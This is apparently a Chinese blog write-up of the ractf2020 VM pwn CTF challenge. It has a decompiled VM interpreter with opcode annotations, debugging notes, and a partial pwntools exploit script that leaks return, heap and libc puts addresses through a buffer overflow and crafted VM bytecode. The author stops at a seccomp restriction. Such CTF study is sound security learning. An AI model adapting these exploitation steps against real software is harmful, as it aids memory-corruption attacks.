• ractf2020 vm_pwn测试题


    最近队里队长给了我一个入队测试题,结果一看就是vm,吓得我赶紧去看了一个vm的例题,看完后,又来看这道题,把我折磨的有点怀疑人生了,目前还没写完,记录下写题的过程

    程序分析

    首先大致看一下我的分析

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      unsigned __int8 *v3; // rax
      _QWORD *v4; // rax
      _QWORD *v5; // rax
      _QWORD *v6; // rax
      _QWORD *v7; // rax
      __int64 result; // rax
      int v9; // [rsp+8h] [rbp-28h]
      int v10; // [rsp+Ch] [rbp-24h]
      int v11; // [rsp+Ch] [rbp-24h]
      int v12; // [rsp+Ch] [rbp-24h]
      int v13; // [rsp+Ch] [rbp-24h]
      int v14; // [rsp+Ch] [rbp-24h]
      int v15; // [rsp+Ch] [rbp-24h]
      int v16; // [rsp+Ch] [rbp-24h]
      int v17; // [rsp+Ch] [rbp-24h]
      int v18; // [rsp+Ch] [rbp-24h]
      int v19; // [rsp+Ch] [rbp-24h]
      int v20; // [rsp+Ch] [rbp-24h]
      int v21; // [rsp+Ch] [rbp-24h]
      int v22; // [rsp+Ch] [rbp-24h]
      int v23; // [rsp+Ch] [rbp-24h]
      int v24; // [rsp+Ch] [rbp-24h]
      int v25; // [rsp+Ch] [rbp-24h]
      int v26; // [rsp+Ch] [rbp-24h]
      int v27; // [rsp+Ch] [rbp-24h]
      int v28; // [rsp+Ch] [rbp-24h]
      int v29; // [rsp+Ch] [rbp-24h]
      int v30; // [rsp+Ch] [rbp-24h]
      int v31; // [rsp+Ch] [rbp-24h]
      int v32; // [rsp+Ch] [rbp-24h]
      int v33; // [rsp+Ch] [rbp-24h]
      _QWORD *v34; // [rsp+10h] [rbp-20h]
      char *v35; // [rsp+18h] [rbp-18h]
      char *v36; // [rsp+20h] [rbp-10h]
    
      sub_BA0();
      v34 = calloc(0x30uLL, 1uLL);
      v35 = calloc(0x1000uLL, 1uLL);
      v36 = calloc(0x2000uLL, 1uLL);
      v34[3] = v36 + 7680;
      v34[5] = aA;
      if ( !v35 || !v36 )
        puts_func("out of memory");
      while ( 1 )                                   // v35 --> data段
                                                    // v34[5] --> text段
                                                    // v34[3] --> stack段
                                                    // v34[0]=reg1=rdi
                                                    // v34[1]=reg2=rsi
                                                    // v34[2]=reg3=rdx
      {
        v3 = v34[5];
        v34[5] = v3 + 1;
        v9 = *v3;
        switch ( v9 )
        {
          case 0x20:
            *v34 = v34[3];                          // mov reg1,esp
            break;
          case 0x21:
            *v34 = *v34[5];                         // reg1=data2
            v34[5] += 8LL;
            break;
          case 0x22:
            v34[1] = *v34[5];                       // reg2=data2
            v34[5] += 8LL;
            break;
          case 0x23:
            v34[2] = *v34[5];                       // reg3=data2
            v34[5] += 8LL;
            break;
          case 0x30:
            v10 = *v34[5];                          // mov reg1,mem
            if ( v10 < 0 || v10 > 4095 )
              puts_func("buffer overflow detected");
            *v34 = &v35[v10];
            v34[5] += 8LL;
            break;
          case 0x31:
            v11 = *v34[5];
            if ( v11 < 0 || v11 > 4095 )            // mov reg1,mem
              puts_func("buffer overflow detected");
            *v34 = *&v35[v11];
            v34[5] += 8LL;
            break;
          case 0x32:
            v12 = *v34[5];
            if ( v12 < 0 || v12 > 4095 )            // mov reg2,mem
              puts_func("buffer overflow detected");
            v34[1] = *&v35[v12];
            v34[5] += 8LL;
            break;
          case 0x33:
            v13 = *v34[5];
            if ( v13 < 0 || v13 > 4095 )            // mov reg3,mem
              puts_func("buffer overflow detected");
            v34[2] = *&v35[v13];
            v34[5] += 8LL;
            break;
          case 0x43:
            v14 = *v34[5];
            if ( v14 < 0 || v14 > 4095 )            // mov mem,reg1
              puts_func("buffer overflow detected");
            *&v35[v14] = *v34;
            v34[5] += 8LL;
            break;
          case 0x44:
            v15 = *v34[5];
            if ( v15 < 0 || v15 > 4095 )            // mov mem,reg2
              puts_func("buffer overflow detected");
            *&v35[v15] = v34[1];
            v34[5] += 8LL;
            break;
          case 0x45:
            v16 = *v34[5];
            if ( v16 < 0 || v16 > 4095 )            // mov mem,reg3
              puts_func("buffer overflow detected");
            *&v35[v16] = v34[2];
            v34[5] += 8LL;
            break;
          case 0x54:
            if ( (v34[3] - v36) <= 8 )              // push reg1
              puts_func("stack underflow detected");
            v34[3] -= 8LL;
            *v34[3] = *v34;
            break;
          case 0x55:
            if ( (v34[3] - v36) <= 8 )              // push reg2
              puts_func("stack underflow detected");
            v34[3] -= 8LL;
            *v34[3] = v34[1];
            break;
          case 0x56:
            if ( (v34[3] - v36) <= 8 )
              puts_func("stack underflow detected");
            v34[3] -= 8LL;
            *v34[3] = v34[2];
            break;
          case 0x61:                                // add reg1
            if ( (v34[3] - v36) > 7679 )            // pop reg1
              puts_func("stack overflow detected");
            v4 = v34[3];
            v34[3] = v4 + 1;
            *v34 = *v4;
            break;
          case 0x62:
            if ( (v34[3] - v36) > 7679 )            // pop reg2
              puts_func("stack overflow detected");
            v5 = v34[3];
            v34[3] = v5 + 1;
            v34[1] = *v5;
            break;
          case 0x63:
            if ( (v34[3] - v36) > 7679 )            // pop reg3
              puts_func("stack overflow detected");
            v6 = v34[3];
            v34[3] = v6 + 1;
            v34[2] = *v6;
            break;
          case 0x71:
            v17 = *v34[5];
            v34[5] += 8LL;
            *v34 += v17;
            break;
          case 0x72:
            v18 = *v34[5];                          // add reg2
            v34[5] += 8LL;
            v34[1] += v18;
            break;
          case 0x73:
            v19 = *v34[5];                          // add reg3
            v34[5] += 8LL;
            v34[2] += v19;
            break;
          case 0x74:
            v22 = *v34[5];                          // sub reg1
            v34[5] += 8LL;
            *v34 -= v22;
            break;
          case 0x75:
            v23 = *v34[5];                          // sub reg2
            v34[5] += 8LL;
            v34[1] -= v23;
            break;
          case 0x76:
            v24 = *v34[5];                          // sub reg3
            v34[5] += 8LL;
            v34[2] -= v24;
            break;
          case 0x77:
            v25 = *v34[5];                          // imul reg1
            v34[5] += 8LL;
            *v34 *= v25;
            break;
          case 0x78:
            v26 = *v34[5];                          // imul reg2
            v34[5] += 8LL;
            v34[1] *= v26;
            break;
          case 0x79:
            v27 = *v34[5];
            v34[5] += 8LL;
            v34[2] *= v27;
            break;
          case 0x7A:
            v28 = *v34[5];                          // xor reg1
            v34[5] += 8LL;
            *v34 ^= v28;
            break;
          case 0x7B:
            v29 = *v34[5];                          // xor reg2
            v34[5] += 8LL;
            v34[1] ^= v29;
            break;
          case 0x7C:
            v30 = *v34[5];                          // xor reg3
            v34[5] += 8LL;
            v34[2] ^= v30;
            break;
          case 0x7D:
            *v34 = 0LL;
            break;
          case 0x7E:
            v34[1] = 0LL;
            break;
          case 0x7F:                                // 让v33[5]=reg1
            v34[2] = 0LL;
            break;
          case 0x8E:
            v32 = *v34[5];                          // 如果这是栈,那就有可能是恢复栈
            v34[5] += 2LL;
            v34[5] += v32;
            break;
          case 0x8F:
            v34[5] = *v34;
            break;
          case 0x90:
            v34[3] += 8LL;                          // data+=8
                                                    // data=v33[5]
                                                    // v33[5]=reg1
            *v34[3] = v34[5];
            v34[5] = *v34;
            break;
          case 0x91:
            v20 = *v34[5];
            v34[5] += 8LL;
            v34[3] += 8LL * (v20 / 8);
            break;
          case 0x92:
            v21 = *v34[5];
            v34[5] += 8LL;
            v34[3] += -8LL * (v21 / 8);
            break;
          case 0x98:
            v33 = *v34[5];
            v34[5] += 2LL;
            v34[3] += 8LL;
            *v34[3] = v34[5];
            v34[5] += v33;
            break;
          case 0x9F:
            v31 = *v34[5]++;
            (*(&off_2038E0 + v31))(*v34, v34[1], v34[2]);
            break;
          case 0xA0:
            v7 = v34[3];
            v34[3] = v7 - 1;
            v34[5] = *v7;
            break;
          case 0x10F:
            return 0LL;
          default:
            printf(":%d
    ", v9);
            puts_func("Illegal Instrumention");
            return result;
        }
      }
    }
    /* Orphan comments:
    push reg3
    imul reg3
    init reg123=0
    提升栈
    恢复栈
    */

    opcode大概的写了出来,但应该只对了一部分,先来说一下程序的流程,与如何看出来的,我在ida里看到的rip,在C语言里是这样的

     其实我觉得很奇怪,后面看了下汇编形式

     

     汇编里显示了一个全局变量出来,发现是一堆地址,ok,接着往下看,发现无法查看了,就拿gdb动态调试的查看一下,还有个全局变量

     在gdb中,rip的运算大概是这样的

     

     咱们来慢慢分析

    首先0x4c87到0x4c8b很容易发现是把全局变量所指+1偏移处地址取出来了,然后放在了rcx里面

    在将这地址放在了+0的偏移中,也就是让指针所指的地址+1

    在将原来的+0的偏移中的值,放入eax中,在经过-0x10与0xef作比较,来进行跳转

     接着,这一大段的地址操作,我一开始是看的比较懵逼的,但后面经过反复调试后,发现,这里将eax的值*4,然后从rip+0xbba取值,这里的值不就是一直固定的吗?那这里不就代表着前面的函数地址表吗?

     由于我看内存中的这些值时,发现很多数字,所以很快的直接跳过了这里的每一句分析,因为为了测试我特意看了下前面的eax的值是0x1的时候,我特意去看了下函数地址表里的函数偏移为1的函数

    这根我在gdb里调试的函数是一样的,所以猜想正确!

     

     现在来分析一下rip从那个全局变量里如何来的,查看aA全局变量,并根据程序流程,会发现这是data段还是text段呢?我一开始爷挺迷糊的,然后根据一点一点的调试得到了这是text段

    这里我找的是与上面分析对应的一段代码

    可以看到我在分析的这里的时候,字符串'do you w'这里就是8个字节了

     

     然后发现有个0x11的值在这被取出来了通过前面的分析可以知道这个值会被减去0x10,然后当做rip去调用函数,来执行,并且通过ida的简单分析,很快就可以知道,这个v34[5]每次函数几乎都会+8,不正好对应着一个8字节的字符串吗?

     接下来就是来找整个函数的流程了,其实我自己动态调试跟了一下午,分析了一套出来(但是是错的,太菜了),只是我感觉这个函数流程会根据自己的输入来改变,不过应该不会,变换我先贴出来,有错的话指正一下

    分析完基本的流程后,我感觉这道题是rop,栈溢出,劫持esp,不过还是得看流程的检查才行

    所以需要去找gadget才行,不过在几经调试之后,终于发现了一些端倪,程序的返回地址在你的输入地址偏移0x100处,并且由于偏移,就可以泄露libc的地址了,而0xf0处则是堆的地址

    所以我们可以先泄露跳转的地址,然后根据偏移来计算offset的偏移值,在通过构造gadget来泄露里面的函数,从而达到泄露libc的地址。

    先贴部分代码,泄露libc

    #leak jmp addr
    payload=b'p'*0xff
    p.recvuntil('name:')
    p.sendline(payload)
    p.recvuntil('p'*0xff)
    ret_addr=u64(p.recv(7).ljust(8,b'x00'))
    ret_addr=ret_addr>>8
    print('ret_addr:'+hex(ret_addr))
    
    #reboot process
    main_addr=ret_addr-0x831
    payload=b'p'*0x100+p64(main_addr)
    print('main:'+hex(main_addr))
    p.recvuntil('say:')
    p.sendline(payload)
    
    #leak heap_addr
    payload=b'p'*0xef
    p.recvuntil('name:')
    p.sendline(payload)
    p.recvuntil('p'*0xef)
    heap2_addr=u64(p.recv(7).ljust(8,b'x00'))
    heap2_addr=heap2_addr>>8
    print('heap2_addr:'+hex(heap2_addr))
    my_input_addr=heap2_addr+0x1010+0x1d08
    
    print('n debug')
    
    puts_offset=ret_addr-0x851+0x8f0
    
    #leak puts addr and reboot
    payload=b'x11'+p64(1)
    payload=payload+b'x12'+p64(puts_offset)
    payload=payload+b'x13'+p64(8)
    payload=payload+b'x8fx01'
    payload=payload+b'x11'+p64(main_addr)
    payload=payload+b'x44'
    payload=payload+b'x90'
    p.recvuntil('say:')
    payload=payload.ljust(0x100,b'x00')
    payload=payload+p64(my_input_addr)
    print(payload)
    p.sendline(payload)
    puts_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
    print('puts_addr:'+hex(puts_addr))

    不过到后面当我想劫持puts函数,然后在getshell的时候,意外发生了,直接帮你把系统调用给干翻一半,我吐了,然后去看了一下这个函数的简单解释,这里我贴一下原话

     

     好吧,得想办法绕过了

    本来打算用open函数绕过的,结果发现返回值我没法控制,我真不知道怎么绕过了,所以只能以后再来写这道题了。。。如果有师傅能给提示就好了

    先说到这,接着去写这道题了-_-||

  • 相关阅读:
    POJ 1703 Find them, Catch them
    POJ 2236 Wireless Network
    POJ 2010 Moo University
    POJ 2184 Cow Exhibition
    POJ 3280 Cheapest Palindrome
    POJ 3009 Curling 2.0
    POJ 3669 Meteor Shower
    POJ 2718 Smallest Difference
    POJ 3187 Backward Digit Sums
    POJ 3050 Hopscotch
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14159189.html
Copyright © 2020-2023  润新知